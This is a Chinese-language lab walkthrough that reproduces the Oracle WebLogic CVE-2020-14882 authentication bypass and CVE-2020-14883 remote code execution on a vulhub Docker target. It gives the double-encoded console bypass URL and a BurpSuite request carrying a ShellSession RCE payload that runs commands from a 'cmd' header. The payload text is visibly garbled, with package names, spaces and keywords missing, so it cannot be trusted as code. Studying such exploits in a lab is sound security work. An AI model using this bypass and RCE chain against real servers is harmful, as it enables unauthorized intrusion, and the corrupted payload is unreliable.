漏洞基础信息
| 漏洞编号 | 漏洞等级 | 影响版本 | 漏洞类型 |
|---|---|---|---|
| CVE-2020-14882 | 超危(CVSS 评分:9.8) | WebLogic Server 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0 | 权限绕过(路径遍历 + 身份验证绕过) |
| CVE-2020-14883 | 高危(CVSS 评分:7.2) | 与 CVE-2020-14882 完全相同 | 身份验证后远程代码执行(RCE) |
漏洞复现
复现环境准备
使用 vulhub 快速搭建漏洞环境:
# 安装 Docker 和 docker-compose
apt install docker.io docker-compose
# 将 Vulhub 项目克隆到本地
git clone https://github.com/vulhub/vulhub.git
# 拉取镜像并启动容器
cd vulhub/weblogic/CVE-2020-14882
docker-compose up -d
# 确认容器启动状态
docker ps
注:如果启动容器后执行 docker ps 发现容器并没有如预期启动,很有可能是容器/宿主机内存不足或 Docker 容器默认的文件描述符(nofile)上限过低,详情可参见附录。
可正常访问控制台页面 http://target-IP:7001/console 说明启动成功。
目标探测
nmap -sS -Pn -T4 --top-ports 1000 --version-intensity 3 -sV --script "default,vulners" target-IP
扫描结果显示 7001 端口正常开放,WebLogic 服务运行,版本为 12.2.1.3(该版本存在 CVE-2020-14882/14883 等高危漏洞),T3 协议已启用。
攻击过程
验证 CVE-2020-14882 未授权访问
直接使用浏览器访问,无需输入账号密码,直接进入 WebLogic 控制台主页:
http://target-IP:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentSummaryPage
利用 CVE-2020-14883 执行命令
方法一
利用 com.tangosol.coherence.mvel2.sh.ShellSession 类执行 whoami/id 等基础命令,验证 RCE 漏洞。该方法只能在12.2.1.x及以上版本使用。使用 BurpSuite 发送请求:
GET /console/css/%252e2e.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(.work.ExecuteThread0currentThread=(weblogic.work.ExecuteThread)Thread.currentThread();.work.WorkAdapter0adapter=.getCurrentWork();.lang.reflect.Field0field=.getClass().getDeclaredField(2connectionHandler);field.setAccessible(true);Object0obj=.get(adapter);weblogic.servlet.internal.ServletRequestImpl0req=(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(2getServletRequest).invoke(obj);0String0cmd=.getHeader(2cmd);String[]0cmds=.getProperty(.name).toLowerCase().contains(2window)?0new[]{.exe,0/c,}:0new[]{/bin/sh,0-c,};(cmd!=0null){0String0result=0new.util.Scanner(new.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(\A).next();.servlet.internal.ServletResponseImpl0res=(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(2getResponse).invoke(req);res.getServletOutputStream().writeStream(new.xml.util.StringInputStream(result));res.getServletOutputStream().flush();}.interrupt(); HTTP/ Host: target-IP: User-Agent: Mozilla/ (X11; Linux x86_64; rv:) Gecko/ Firefox/ Accept: text/html,application/xhtml+xml,application/xml;=.,*/*;=. Accept-Language: en-US,en;=. Accept-Encoding: gzip, deflate, br Connection: keep-alive Cookie: ADMINCONSOLESESSION=g8W5R3N85JwXsN-2PsQHvrB3shquvZV8gq3jw6HHadb2ay7Y5gM8!-; JSESSIONID=node0qmnscecp1q6f1fba8a8bhtien0.node0 cmd: id

